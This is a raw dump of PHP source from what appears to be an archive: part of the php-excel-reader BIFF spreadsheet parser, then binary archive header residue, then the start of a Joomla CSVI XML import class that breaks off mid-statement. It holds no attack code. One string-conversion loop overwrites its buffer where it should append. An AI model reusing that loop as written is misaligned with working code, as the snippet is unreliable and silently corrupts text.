<< 8); $spos += 2; $optionFlags = ord($data[$spos]); $spos++; $asciiEncoding = (($optionFlags & 0x01) == 0) ; $extendedString = ( ($optionFlags & 0x04) != 0); // See if string contains formatting information $richString = ( ($optionFlags & 0x08) != 0); if ($richString) { // Read in the crun $formattingRuns = v($data,$spos); $spos += 2; } if ($extendedString) { // Read in cchExtRst $extendedRunLength = $this->_GetInt4d($data, $spos); $spos += 4; } $len = ($asciiEncoding)? $numChars : $numChars*2; if ($spos + $len < $limitpos) { $retstr = substr($data, $spos, $len); $spos += $len; } else{ // found countinue $retstr = substr($data, $spos, $limitpos - $spos); $bytesRead = $limitpos - $spos; $charsLeft = $numChars - (($asciiEncoding) ? $bytesRead : ($bytesRead / 2)); $spos = $limitpos; while ($charsLeft > 0){ $opcode = v($data,$spos); $conlength = v($data,$spos+2); if ($opcode != 0x3c) { return -1; } $spos += 4; $limitpos = $spos + $conlength; $option = ord($data[$spos]); $spos += 1; if ($asciiEncoding && ($option == 0)) { $len = min($charsLeft, $limitpos - $spos); // min($charsLeft, $conlength); $retstr .= substr($data, $spos, $len); $charsLeft -= $len; $asciiEncoding = true; } elseif (!$asciiEncoding && ($option != 0)) { $len = min($charsLeft* 2, $limitpos - $spos); // min($charsLeft, $conlength); $retstr .= substr($data, $spos, $len); $charsLeft -= $len/2; $asciiEncoding = false; } elseif (!$asciiEncoding && ($option == 0)) { // Bummer - the string starts off as Unicode, but after the // continuation it is in straightforward ASCII encoding $len = min($charsLeft, $limitpos - $spos); // min($charsLeft, $conlength); for ($j = 0; $j < $len; $j++) { $retstr .= $data[$spos + $j].chr(0); } $charsLeft -= $len; $asciiEncoding = false; } else{ $newstr = ''; for ($j = 0; $j < strlen($retstr); $j++) { $newstr = $retstr[$j].chr(0); } $retstr = $newstr; $len = min($charsLeft* 2, $limitpos - $spos); // min($charsLeft, $conlength); $retstr .= substr($data, $spos, $len); $charsLeft -= $len/2; $asciiEncoding = false; } $spos += $len; } } //$retstr = ($asciiEncoding) ? $retstr : $this->_encodeUTF16($retstr); $retstr = ($asciiEncoding) ? iconv('iso-8859-1', $this->_defaultEncoding, $retstr) : $this->_encodeUTF16($retstr); if ($richString){ $spos += 4* $formattingRuns; } // For extended strings, skip over the extended string data if ($extendedString) { $spos += $extendedRunLength; } $this->sst[]=$retstr; } break; case SPREADSHEET_EXCEL_READER_TYPE_FILEPASS: return false; break; case SPREADSHEET_EXCEL_READER_TYPE_NAME: break; case SPREADSHEET_EXCEL_READER_TYPE_FORMAT: $indexCode = v($data,$pos+4); if ($version == SPREADSHEET_EXCEL_READER_BIFF8) { $numchars = v($data,$pos+6); if (ord($data[$pos+8]) == 0){ $formatString = substr($data, $pos+9, $numchars); } else { $formatString = substr($data, $pos+9, $numchars*2); } } else { $numchars = ord($data[$pos+6]); $formatString = substr($data, $pos+7, $numchars*2); } $this->formatRecords[$indexCode] = $formatString; break; case SPREADSHEET_EXCEL_READER_TYPE_FONT: $height = v($data,$pos+4); $option = v($data,$pos+6); $color = v($data,$pos+8); $weight = v($data,$pos+10); $under = ord($data[$pos+14]); $font = ""; // Font name $numchars = ord($data[$pos+18]); if ((ord($data[$pos+19]) & 1) == 0){ $font = substr($data, $pos+20, $numchars); } else { $font = substr($data, $pos+20, $numchars*2); $font = $this->_encodeUTF16($font); } $this->fontRecords[] = array( 'height' => $height / 20, 'italic' => !!($option & 2), 'color' => $color, 'under' => !($under==0), 'bold' => ($weight==700), 'font' => $font, 'raw' => $this->dumpHexData($data, $pos+3, $length) ); break; case SPREADSHEET_EXCEL_READER_TYPE_PALETTE: $colors = ord($data[$pos+4]) | ord($data[$pos+5]) << 8; for ($coli = 0; $coli < $colors; $coli++) { $colOff = $pos + 2 + ($coli* 4); $colr = ord($data[$colOff]); $colg = ord($data[$colOff+1]); $colb = ord($data[$colOff+2]); $this->colors[0x07 + $coli] = '#' . $this->myhex($colr) . $this->myhex($colg) . $this->myhex($colb); } break; case SPREADSHEET_EXCEL_READER_TYPE_XF: $fontIndexCode = (ord($data[$pos+4]) | ord($data[$pos+5]) << 8) - 1; $fontIndexCode = max(0,$fontIndexCode); $indexCode = ord($data[$pos+6]) | ord($data[$pos+7]) << 8; $alignbit = ord($data[$pos+10]) & 3; $bgi = (ord($data[$pos+22]) | ord($data[$pos+23]) << 8) & 0x3FFF; $bgcolor = ($bgi & 0x7F); // $bgcolor = ($bgi & 0x3f80) >> 7; $align = ""; if ($alignbit==3) { $align="right"; } if ($alignbit==2) { $align="center"; } $fillPattern = (ord($data[$pos+21]) & 0xFC) >> 2; if ($fillPattern == 0) { $bgcolor = ""; } $xf = array(); $xf['formatIndex'] = $indexCode; $xf['align'] = $align; $xf['fontIndex'] = $fontIndexCode; $xf['bgColor'] = $bgcolor; $xf['fillPattern'] = $fillPattern; $border = ord($data[$pos+14]) | (ord($data[$pos+15]) << 8) | (ord($data[$pos+16]) << 16) | (ord($data[$pos+17]) << 24); $xf['borderLeft'] = $this->lineStyles[($border & 0xF)]; $xf['borderRight'] = $this->lineStyles[($border & 0xF0) >> 4]; $xf['borderTop'] = $this->lineStyles[($border & 0xF00) >> 8]; $xf['borderBottom'] = $this->lineStyles[($border & 0xF000) >> 12]; $xf['borderLeftColor'] = ($border & 0x7F0000) >> 16; $xf['borderRightColor'] = ($border & 0x3F800000) >> 23; $border = (ord($data[$pos+18]) | ord($data[$pos+19]) << 8); $xf['borderTopColor'] = ($border & 0x7F); $xf['borderBottomColor'] = ($border & 0x3F80) >> 7; if (array_key_exists($indexCode, $this->dateFormats)) { $xf['type'] = 'date'; $xf['format'] = $this->dateFormats[$indexCode]; if ($align=='') { $xf['align'] = 'right'; } }elseif (array_key_exists($indexCode, $this->numberFormats)) { $xf['type'] = 'number'; $xf['format'] = $this->numberFormats[$indexCode]; if ($align=='') { $xf['align'] = 'right'; } }else{ $isdate = FALSE; $formatstr = ''; if ($indexCode > 0){ if (isset($this->formatRecords[$indexCode])) $formatstr = $this->formatRecords[$indexCode]; if ($formatstr!="") { $tmp = preg_replace("/\;.*/","",$formatstr); $tmp = preg_replace("/^\[[^\]]*\]/","",$tmp); if (preg_match("/[^hmsday\/\-:\s\\\,AMP]/i", $tmp) == 0) { // found day and time format $isdate = TRUE; $formatstr = $tmp; $formatstr = str_replace(array('AM/PM','mmmm','mmm'), array('a','F','M'), $formatstr); // m/mm are used for both minutes and months - oh SNAP! // This mess tries to fix for that. // 'm' == minutes only if following h/hh or preceding s/ss $formatstr = preg_replace("/(h:?)mm?/","$1i", $formatstr); $formatstr = preg_replace("/mm?(:?s)/","i$1", $formatstr); // A single 'm' = n in PHP $formatstr = preg_replace("/(^|[^m])m([^m]|$)/", '$1n$2', $formatstr); $formatstr = preg_replace("/(^|[^m])m([^m]|$)/", '$1n$2', $formatstr); // else it's months $formatstr = str_replace('mm', 'm', $formatstr); // Convert single 'd' to 'j' $formatstr = preg_replace("/(^|[^d])d([^d]|$)/", '$1j$2', $formatstr); $formatstr = str_replace(array('dddd','ddd','dd','yyyy','yy','hh','h'), array('l','D','d','Y','y','H','g'), $formatstr); $formatstr = preg_replace("/ss?/", 's', $formatstr); } } } if ($isdate){ $xf['type'] = 'date'; $xf['format'] = $formatstr; if ($align=='') { $xf['align'] = 'right'; } }else{ // If the format string has a 0 or # in it, we'll assume it's a number if (preg_match("/[0#]/", $formatstr)) { $xf['type'] = 'number'; if ($align=='') { $xf['align']='right'; } } else { $xf['type'] = 'other'; } $xf['format'] = $formatstr; $xf['code'] = $indexCode; } } $this->xfRecords[] = $xf; break; case SPREADSHEET_EXCEL_READER_TYPE_NINETEENFOUR: $this->nineteenFour = (ord($data[$pos+4]) == 1); break; case SPREADSHEET_EXCEL_READER_TYPE_BOUNDSHEET: $rec_offset = $this->_GetInt4d($data, $pos+4); $rec_typeFlag = ord($data[$pos+8]); $rec_visibilityFlag = ord($data[$pos+9]); $rec_length = ord($data[$pos+10]); if ($version == SPREADSHEET_EXCEL_READER_BIFF8){ $chartype = ord($data[$pos+11]); if ($chartype == 0){ $rec_name = substr($data, $pos+12, $rec_length); } else { $rec_name = $this->_encodeUTF16(substr($data, $pos+12, $rec_length*2)); } }elseif ($version == SPREADSHEET_EXCEL_READER_BIFF7){ $rec_name = substr($data, $pos+11, $rec_length); } $this->boundsheets[] = array('name'=>$rec_name,'offset'=>$rec_offset); break; } $pos += $length + 4; $code = ord($data[$pos]) | ord($data[$pos+1])<<8; $length = ord($data[$pos+2]) | ord($data[$pos+3])<<8; } foreach ($this->boundsheets as $key=>$val){ $this->sn = $key; $this->_parsesheet($val['offset']); } return true; } /** * Parse a worksheet */ function _parsesheet($spos) { $cont = true; $data = $this->data; // read BOF $code = ord($data[$spos]) | ord($data[$spos+1])<<8; $length = ord($data[$spos+2]) | ord($data[$spos+3])<<8; $version = ord($data[$spos + 4]) | ord($data[$spos + 5])<<8; $substreamType = ord($data[$spos + 6]) | ord($data[$spos + 7])<<8; if (($version != SPREADSHEET_EXCEL_READER_BIFF8) && ($version != SPREADSHEET_EXCEL_READER_BIFF7)) { return -1; } if ($substreamType != SPREADSHEET_EXCEL_READER_WORKSHEET){ return -2; } $spos += $length + 4; while($cont) { $lowcode = ord($data[$spos]); if ($lowcode == SPREADSHEET_EXCEL_READER_TYPE_EOF) break; $code = $lowcode | ord($data[$spos+1])<<8; $length = ord($data[$spos+2]) | ord($data[$spos+3])<<8; $spos += 4; $this->sheets[$this->sn]['maxrow'] = $this->_rowoffset - 1; $this->sheets[$this->sn]['maxcol'] = $this->_coloffset - 1; unset($this->rectype); switch ($code) { case SPREADSHEET_EXCEL_READER_TYPE_DIMENSION: if (!isset($this->numRows)) { if (($length == 10) || ($version == SPREADSHEET_EXCEL_READER_BIFF7)){ $this->sheets[$this->sn]['numRows'] = ord($data[$spos+2]) | ord($data[$spos+3]) << 8; $this->sheets[$this->sn]['numCols'] = ord($data[$spos+6]) | ord($data[$spos+7]) << 8; } else { $this->sheets[$this->sn]['numRows'] = ord($data[$spos+4]) | ord($data[$spos+5]) << 8; $this->sheets[$this->sn]['numCols'] = ord($data[$spos+10]) | ord($data[$spos+11]) << 8; } } break; case SPREADSHEET_EXCEL_READER_TYPE_MERGEDCELLS: $cellRanges = ord($data[$spos]) | ord($data[$spos+1])<<8; for ($i = 0; $i < $cellRanges; $i++) { $fr = ord($data[$spos + 8*$i + 2]) | ord($data[$spos + 8*$i + 3])<<8; $lr = ord($data[$spos + 8*$i + 4]) | ord($data[$spos + 8*$i + 5])<<8; $fc = ord($data[$spos + 8*$i + 6]) | ord($data[$spos + 8*$i + 7])<<8; $lc = ord($data[$spos + 8*$i + 8]) | ord($data[$spos + 8*$i + 9])<<8; if ($lr - $fr > 0) { $this->sheets[$this->sn]['cellsInfo'][$fr+1][$fc+1]['rowspan'] = $lr - $fr + 1; } if ($lc - $fc > 0) { $this->sheets[$this->sn]['cellsInfo'][$fr+1][$fc+1]['colspan'] = $lc - $fc + 1; } } break; case SPREADSHEET_EXCEL_READER_TYPE_RK: case SPREADSHEET_EXCEL_READER_TYPE_RK2: $row = ord($data[$spos]) | ord($data[$spos+1])<<8; $column = ord($data[$spos+2]) | ord($data[$spos+3])<<8; $rknum = $this->_GetInt4d($data, $spos + 6); $numValue = $this->_GetIEEE754($rknum); $info = $this->_getCellDetails($spos,$numValue,$column); $this->addcell($row, $column, $info['string'],$info); break; case SPREADSHEET_EXCEL_READER_TYPE_LABELSST: $row = ord($data[$spos]) | ord($data[$spos+1])<<8; $column = ord($data[$spos+2]) | ord($data[$spos+3])<<8; $xfindex = ord($data[$spos+4]) | ord($data[$spos+5])<<8; $index = $this->_GetInt4d($data, $spos + 6); $this->addcell($row, $column, $this->sst[$index], array('xfIndex'=>$xfindex) ); break; case SPREADSHEET_EXCEL_READER_TYPE_MULRK: $row = ord($data[$spos]) | ord($data[$spos+1])<<8; $colFirst = ord($data[$spos+2]) | ord($data[$spos+3])<<8; $colLast = ord($data[$spos + $length - 2]) | ord($data[$spos + $length - 1])<<8; $columns = $colLast - $colFirst + 1; $tmppos = $spos+4; for ($i = 0; $i < $columns; $i++) { $numValue = $this->_GetIEEE754($this->_GetInt4d($data, $tmppos + 2)); $info = $this->_getCellDetails($tmppos-4,$numValue,$colFirst + $i + 1); $tmppos += 6; $this->addcell($row, $colFirst + $i, $info['string'], $info); } break; case SPREADSHEET_EXCEL_READER_TYPE_NUMBER: $row = ord($data[$spos]) | ord($data[$spos+1])<<8; $column = ord($data[$spos+2]) | ord($data[$spos+3])<<8; $tmp = unpack("ddouble", substr($data, $spos + 6, 8)); // It machine machine dependent if ($this->isDate($spos)) { $numValue = $tmp['double']; } else { $numValue = $this->createNumber($spos); } $info = $this->_getCellDetails($spos,$numValue,$column); $this->addcell($row, $column, $info['string'], $info); break; case SPREADSHEET_EXCEL_READER_TYPE_FORMULA: case SPREADSHEET_EXCEL_READER_TYPE_FORMULA2: $row = ord($data[$spos]) | ord($data[$spos+1])<<8; $column = ord($data[$spos+2]) | ord($data[$spos+3])<<8; if ((ord($data[$spos+6])==0) && (ord($data[$spos+12])==255) && (ord($data[$spos+13])==255)) { //String formula. Result follows in a STRING record // This row/col are stored to be referenced in that record // http://code.google.com/p/php-excel-reader/issues/detail?id=4 $previousRow = $row; $previousCol = $column; } elseif ((ord($data[$spos+6])==1) && (ord($data[$spos+12])==255) && (ord($data[$spos+13])==255)) { //Boolean formula. Result is in +2; 0=false,1=true // http://code.google.com/p/php-excel-reader/issues/detail?id=4 if (ord($this->data[$spos+8])==1) { $this->addcell($row, $column, "TRUE"); } else { $this->addcell($row, $column, "FALSE"); } } elseif ((ord($data[$spos+6])==2) && (ord($data[$spos+12])==255) && (ord($data[$spos+13])==255)) { //Error formula. Error code is in +2; } elseif ((ord($data[$spos+6])==3) && (ord($data[$spos+12])==255) && (ord($data[$spos+13])==255)) { //Formula result is a null string. $this->addcell($row, $column, ''); } else { // result is a number, so first 14 bytes are just like a _NUMBER record $tmp = unpack("ddouble", substr($data, $spos + 6, 8)); // It machine machine dependent if ($this->isDate($spos)) { $numValue = $tmp['double']; } else { $numValue = $this->createNumber($spos); } $info = $this->_getCellDetails($spos,$numValue,$column); $this->addcell($row, $column, $info['string'], $info); } break; case SPREADSHEET_EXCEL_READER_TYPE_BOOLERR: $row = ord($data[$spos]) | ord($data[$spos+1])<<8; $column = ord($data[$spos+2]) | ord($data[$spos+3])<<8; $string = ord($data[$spos+6]); $this->addcell($row, $column, $string); break; case SPREADSHEET_EXCEL_READER_TYPE_STRING: // http://code.google.com/p/php-excel-reader/issues/detail?id=4 if ($version == SPREADSHEET_EXCEL_READER_BIFF8){ // Unicode 16 string, like an SST record $xpos = $spos; $numChars =ord($data[$xpos]) | (ord($data[$xpos+1]) << 8); $xpos += 2; $optionFlags =ord($data[$xpos]); $xpos++; $asciiEncoding = (($optionFlags &0x01) == 0) ; $extendedString = (($optionFlags & 0x04) != 0); // See if string contains formatting information $richString = (($optionFlags & 0x08) != 0); if ($richString) { // Read in the crun $formattingRuns =ord($data[$xpos]) | (ord($data[$xpos+1]) << 8); $xpos += 2; } if ($extendedString) { // Read in cchExtRst $extendedRunLength =$this->_GetInt4d($this->data, $xpos); $xpos += 4; } $len = ($asciiEncoding)?$numChars : $numChars*2; $retstr =substr($data, $xpos, $len); $xpos += $len; $retstr = ($asciiEncoding)? $retstr : $this->_encodeUTF16($retstr); } elseif ($version == SPREADSHEET_EXCEL_READER_BIFF7){ // Simple byte string $xpos = $spos; $numChars =ord($data[$xpos]) | (ord($data[$xpos+1]) << 8); $xpos += 2; $retstr =substr($data, $xpos, $numChars); } $this->addcell($previousRow, $previousCol, $retstr); break; case SPREADSHEET_EXCEL_READER_TYPE_ROW: $row = ord($data[$spos]) | ord($data[$spos+1])<<8; $rowInfo = ord($data[$spos + 6]) | ((ord($data[$spos+7]) << 8) & 0x7FFF); if (($rowInfo & 0x8000) > 0) { $rowHeight = -1; } else { $rowHeight = $rowInfo & 0x7FFF; } $rowHidden = (ord($data[$spos + 12]) & 0x20) >> 5; $this->rowInfo[$this->sn][$row+1] = Array('height' => $rowHeight / 20, 'hidden'=>$rowHidden ); break; case SPREADSHEET_EXCEL_READER_TYPE_DBCELL: break; case SPREADSHEET_EXCEL_READER_TYPE_MULBLANK: $row = ord($data[$spos]) | ord($data[$spos+1])<<8; $column = ord($data[$spos+2]) | ord($data[$spos+3])<<8; $cols = ($length / 2) - 3; for ($c = 0; $c < $cols; $c++) { $xfindex = ord($data[$spos + 4 + ($c* 2)]) | ord($data[$spos + 5 + ($c* 2)])<<8; $this->addcell($row, $column + $c, "", array('xfIndex'=>$xfindex)); } break; case SPREADSHEET_EXCEL_READER_TYPE_LABEL: $row = ord($data[$spos]) | ord($data[$spos+1])<<8; $column = ord($data[$spos+2]) | ord($data[$spos+3])<<8; $this->addcell($row, $column, substr($data, $spos + 8, ord($data[$spos + 6]) | ord($data[$spos + 7])<<8)); break; case SPREADSHEET_EXCEL_READER_TYPE_EOF: $cont = false; break; case SPREADSHEET_EXCEL_READER_TYPE_HYPER: // Only handle hyperlinks to a URL $row = ord($this->data[$spos]) | ord($this->data[$spos+1])<<8; $row2 = ord($this->data[$spos+2]) | ord($this->data[$spos+3])<<8; $column = ord($this->data[$spos+4]) | ord($this->data[$spos+5])<<8; $column2 = ord($this->data[$spos+6]) | ord($this->data[$spos+7])<<8; $linkdata = Array(); $flags = ord($this->data[$spos + 28]); $udesc = ""; $ulink = ""; $uloc = 32; $linkdata['flags'] = $flags; if (($flags & 1) > 0 ) { // is a type we understand // is there a description ? if (($flags & 0x14) == 0x14 ) { // has a description $uloc += 4; $descLen = ord($this->data[$spos + 32]) | ord($this->data[$spos + 33]) << 8; $udesc = substr($this->data, $spos + $uloc, $descLen* 2); $uloc += 2* $descLen; } $ulink = $this->read16bitstring($this->data, $spos + $uloc + 20); if ($udesc == "") { $udesc = $ulink; } } $linkdata['desc'] = $udesc; $linkdata['link'] = $this->_encodeUTF16($ulink); for ($r=$row; $r<=$row2; $r++) { for ($c=$column; $c<=$column2; $c++) { $this->sheets[$this->sn]['cellsInfo'][$r+1][$c+1]['hyperlink'] = $linkdata; } } break; case SPREADSHEET_EXCEL_READER_TYPE_DEFCOLWIDTH: $this->defaultColWidth = ord($data[$spos+4]) | ord($data[$spos+5]) << 8; break; case SPREADSHEET_EXCEL_READER_TYPE_STANDARDWIDTH: $this->standardColWidth = ord($data[$spos+4]) | ord($data[$spos+5]) << 8; break; case SPREADSHEET_EXCEL_READER_TYPE_COLINFO: $colfrom = ord($data[$spos+0]) | ord($data[$spos+1]) << 8; $colto = ord($data[$spos+2]) | ord($data[$spos+3]) << 8; $cw = ord($data[$spos+4]) | ord($data[$spos+5]) << 8; $cxf = ord($data[$spos+6]) | ord($data[$spos+7]) << 8; $co = ord($data[$spos+8]); for ($coli = $colfrom; $coli <= $colto; $coli++) { $this->colInfo[$this->sn][$coli+1] = Array('width' => $cw, 'xf' => $cxf, 'hidden' => ($co & 0x01), 'collapsed' => ($co & 0x1000) >> 12); } break; default: break; } $spos += $length; } if (!isset($this->sheets[$this->sn]['numRows'])) $this->sheets[$this->sn]['numRows'] = $this->sheets[$this->sn]['maxrow']; if (!isset($this->sheets[$this->sn]['numCols'])) $this->sheets[$this->sn]['numCols'] = $this->sheets[$this->sn]['maxcol']; } function isDate($spos) { $xfindex = ord($this->data[$spos+4]) | ord($this->data[$spos+5]) << 8; return ($this->xfRecords[$xfindex]['type'] == 'date'); } // Get the details for a particular cell function _getCellDetails($spos,$numValue,$column) { $xfindex = ord($this->data[$spos+4]) | ord($this->data[$spos+5]) << 8; $xfrecord = $this->xfRecords[$xfindex]; $type = $xfrecord['type']; $format = $xfrecord['format']; $formatIndex = $xfrecord['formatIndex']; $fontIndex = $xfrecord['fontIndex']; $formatColor = ""; $rectype = ''; $string = ''; $raw = ''; if (isset($this->_columnsFormat[$column + 1])){ $format = $this->_columnsFormat[$column + 1]; } if ($type == 'date') { // See http://groups.google.com/group/php-excel-reader-discuss/browse_frm/thread/9c3f9790d12d8e10/f2045c2369ac79de $rectype = 'date'; // Convert numeric value into a date $utcDays = floor($numValue - ($this->nineteenFour ? SPREADSHEET_EXCEL_READER_UTCOFFSETDAYS1904 : SPREADSHEET_EXCEL_READER_UTCOFFSETDAYS)); $utcValue = ($utcDays)* SPREADSHEET_EXCEL_READER_MSINADAY; $dateinfo = gmgetdate($utcValue); $raw = $numValue; $fractionalDay = $numValue - floor($numValue) + .0000001; // The .0000001 is to fix for php/excel fractional diffs $totalseconds = floor(SPREADSHEET_EXCEL_READER_MSINADAY* $fractionalDay); $secs = $totalseconds % 60; $totalseconds -= $secs; $hours = floor($totalseconds / (60* 60)); $mins = floor($totalseconds / 60) % 60; $string = date ($format, mktime($hours, $mins, $secs, $dateinfo["mon"], $dateinfo["mday"], $dateinfo["year"])); } else if ($type == 'number') { $rectype = 'number'; $formatted = $this->_format_value($format, $numValue, $formatIndex); $string = $formatted['string']; $formatColor = $formatted['formatColor']; $raw = $numValue; } else{ if ($format=="") { $format = $this->_defaultFormat; } $rectype = 'unknown'; $formatted = $this->_format_value($format, $numValue, $formatIndex); $string = $formatted['string']; $formatColor = $formatted['formatColor']; $raw = $numValue; } return array( 'string'=>$string, 'raw'=>$raw, 'rectype'=>$rectype, 'format'=>$format, 'formatIndex'=>$formatIndex, 'fontIndex'=>$fontIndex, 'formatColor'=>$formatColor, 'xfIndex'=>$xfindex ); } function createNumber($spos) { $rknumhigh = $this->_GetInt4d($this->data, $spos + 10); $rknumlow = $this->_GetInt4d($this->data, $spos + 6); $sign = ($rknumhigh & 0x80000000) >> 31; $exp = ($rknumhigh & 0x7ff00000) >> 20; $mantissa = (0x100000 | ($rknumhigh & 0x000fffff)); $mantissalow1 = ($rknumlow & 0x80000000) >> 31; $mantissalow2 = ($rknumlow & 0x7fffffff); $value = $mantissa / pow( 2 , (20- ($exp - 1023))); if ($mantissalow1 != 0) $value += 1 / pow (2 , (21 - ($exp - 1023))); $value += $mantissalow2 / pow (2 , (52 - ($exp - 1023))); if ($sign) {$value = -1* $value;} return $value; } function addcell($row, $col, $string, $info=null) { $this->sheets[$this->sn]['maxrow'] = max($this->sheets[$this->sn]['maxrow'], $row + $this->_rowoffset); $this->sheets[$this->sn]['maxcol'] = max($this->sheets[$this->sn]['maxcol'], $col + $this->_coloffset); $this->sheets[$this->sn]['cells'][$row + $this->_rowoffset][$col + $this->_coloffset] = $string; if ($this->store_extended_info && $info) { foreach ($info as $key=>$val) { $this->sheets[$this->sn]['cellsInfo'][$row + $this->_rowoffset][$col + $this->_coloffset][$key] = $val; } } } function _GetIEEE754($rknum) { if (($rknum & 0x02) != 0) { $value = $rknum >> 2; } else { //mmp // I got my info on IEEE754 encoding from // http://research.microsoft.com/~hollasch/cgindex/coding/ieeefloat.html // The RK format calls for using only the most significant 30 bits of the // 64 bit floating point value. The other 34 bits are assumed to be 0 // So, we use the upper 30 bits of $rknum as follows... $sign = ($rknum & 0x80000000) >> 31; $exp = ($rknum & 0x7ff00000) >> 20; $mantissa = (0x100000 | ($rknum & 0x000ffffc)); $value = $mantissa / pow( 2 , (20- ($exp - 1023))); if ($sign) { $value = -1* $value; } //end of changes by mmp } if (($rknum & 0x01) != 0) { $value /= 100; } return $value; } function _encodeUTF16($string) { $result = $string; if ($this->_defaultEncoding){ switch ($this->_encoderFunction){ case 'iconv' : $result = @iconv('UTF-16LE', $this->_defaultEncoding, $string); break; case 'mb_convert_encoding' : $result = @mb_convert_encoding($string, $this->_defaultEncoding, 'UTF-16LE' ); break; } } return $result; } function _GetInt4d($data, $pos) { $value = ord($data[$pos]) | (ord($data[$pos+1]) << 8) | (ord($data[$pos+2]) << 16) | (ord($data[$pos+3]) << 24); if ($value>=4294967294) { $value=-2; } return $value; } } ?> PK@y>\oV!k!k/components/com_csvi/helpers/file/import/xml.phpnuW+A_getXmlFields() == true) { $jinput = JFactory::getApplication()->input; $jinput->set('columnheaders', $this->_xml_fields); return true; } else { /** * Note: clearing the value when no fields found causes a problem when processing * XML files with the 'use headers' option set because the function is called after the * end of file has been reached. When an empty set of fields is returned, the program * fails to terminate properly and loops endlessly through the import continuation page. */ return false; } } /** * Get the file position * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return int current position in the file * @since 3.0 */ public function getFilePos() { return $this->linepointer; } /** * Set the file position * * To be able to set the file position correctly, the XML reader needs to be at the start of the file * * @copyright * @author RolandD * @todo * @see * @access public * @param int $pos the position to move to * @return int current position in the file * @since 3.0 */ public function setFilePos($pos) { // Close the XML reader $this->closeFile(false); // Open a new XML reader $this->processFile(); // Move the pointer to the specified position return $this->_skipXmlRecords($pos); } /** * Close the file * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function closeFile($removefolder=true) { $this->data->close(); $this->_xml_cache = false; $this->_closed = true; parent::closeFile($removefolder); } /** * Read the next line in the file * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array with the line of data read | false if data cannot be read * @since 3.0 */ public function readNextLine() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $csvilog->addDebug('Reading next line'); if ($this->_getXmlData() == true) { $this->linepointer++; return $this->_xml_data; } else { return false; } } /** * Process the file to import * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function processFile() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Use a streaming approach to support large files $this->data = new XMLReader(); $this->fp = $this->data->open($this->filename); if ($this->fp == false) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_ERROR_XML_READING_FILE')); return false; } // File opened successfully - Prepare the arrays needed to read data from the XML file $this->fp = $this->_getXmlSchema(); if ($this->fp == false) { $this->closeFile(); $csvilog->AddStats('incorrect', JText::_('COM_CSVI_XML_INVALID_TABLE')); return false; } return true; } /** * Searches an XML file for a series of nodes representing a complete record. The name(s) of the nodes representing records * must be supplied (via the 'xml_nodes_map' field) but the list of fields can be supplied in three ways: * 1 No fields defined in the 'xml_nodes_map' field and the 'use headers' option set to 'off'. Despite the 'use headers' being set * to 'off', the field nodes in the first record are used to configure the whole run. This requires that all fields be present in * every record, the node names match the field names and that all of the 'field' nodes are one level below the 'record' node in * the XML hierarchy. * 2 No fields defined in the 'xml_nodes_map' field and the 'use headers' option set to 'on'. This causes the 'headers to be read * from the XML nodes for every record. This is suitable if not all of the fields are populated for every record in the XML file * but is slower than option 1. * 3 Fields defined in the 'xml_nodes_map' field. The 'use headers' option is ignored. This gives the flexibility to set up a map * so that an XML hierarchy can be modelled, node names to be mapped to field names and also allows fields to be extracted from * node attributes. * * It is possible that the current node when the function is called is the start of the next record. * Valid 'record' node names are held in the $this->_xml_records array. * Valid 'field' node and attribute names are held in the $this->_xml_schema array. * The arrays $this->_xml_data and $this->_xml_fields are populated with data and field names respectively. To prevent SQL errors * when writing the data to the table, only fields found in the array $this->_supported_fields are included. This function could be * extended. * * @copyright * @author doorknob * @todo * @see * @access private * @param * @return bool - indicates whether the array $this->_xml_data was populated. * @since 3.0 */ private function _getXmlFieldsAndData() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Initialise the arrays that will receive the data and field list from the next record $this->_xml_data = array(); $this->_xml_fields = array(); // Validation checking disabled because a DTD (or RELAX NG) schema is required and is usually not available $validate_xml = false; if( $validate_xml == true ) { // Note: When the DTD is external, this must be done before the first read() $this->data->setParserProperty(XMLReader::VALIDATE, true); } /** * Search for the start of the next record but only read the file if the next record is not already current * Must be the correct element type (start of node) and in the list of valid record nodes. * Note: Self closing notes are accepted because they may contain data in the attributes */ if (!$this->_isXmlRecordNode($this->data->nodeType, $this->data->name)) { // Either no current node or the current node is not the start of a record while( $this->data->read() ) { if( $validate_xml == true ) { $this->fp = $this->data->isValid(); if( $this->fp == false ){ $this->closeFile(); $csvilog->AddStats('incorrect', JText::_('COM_CSVI_XML_FILE_INVALID')); return false; } } if( $this->_isXmlRecordNode( $this->data->nodeType, $this->data->name ) ) { // Record node found break; } } } // Check whether a record was found if ($this->_isXmlRecordNode($this->data->nodeType, $this->data->name)) { // Start of a valid record $self_closing = $this->data->isEmptyElement; $record_name = strtolower($this->data->name); // Extract any attributes, if defined if (isset($this->_xml_schema[$record_name]['attrs']) ) { // Record level attributes are defined as fields while( $this->data->moveToNextAttribute() ) { // Check each attribute to determine whether the value should be extracted if( isset($this->_xml_schema[$record_name]['attrs'][strtolower($this->data->name)]) ) { $this->_xml_fields[] = $this->_xml_schema[$record_name]['attrs'][strtolower($this->data->name)]; $this->_xml_data[] = $this->data->value; } } } if ($self_closing == false) { // Now search for group/field nodes $xml_path = array(); /** * Note: $this->data->next() is used rather than $this->data->read() when the readInnerXML() function has been used * to extract the contents of a node. Because the contect extracted may contain other nodes,$this->data->next() is * used to skip to the closing node. * readInnerXML() is used in case the data contains html tags but it doesn't move the file pointer. * Subsequently using $this->data->next() forces the pointer to skip past any HTML tags that have already been read. * The value does not need to be maintained between between calls to this function because readInnerXML() is * never used immediately before exiting the function. */ $use_read = true; while ($use_read == true ? $this->data->read() : $this->data->next() ) { // XML error detection if ($validate_xml == true) { $this->fp = $this->data->isValid(); if( $this->fp == false ){ $this->closeFile(); $csvilog->AddStats('incorrect', JText::_('COM_CSVI_XML_FILE_INVALID')); return false; } } // Default to a reading a single node in the next loop $use_read = true; // Searching for a group or field node if ($this->data->nodeType == XMLReader::ELEMENT) { // New node found $self_closing = $this->data->isEmptyElement; if (empty($this->_xml_schema)) { // Template fields being used to control the data extraction if ($this->_isXmlFieldNameValid($this->data->name)) { // Node corresponding to a supported field found - extract the data $this->_xml_fields[] = strtolower($this->data->name); $xmldata = 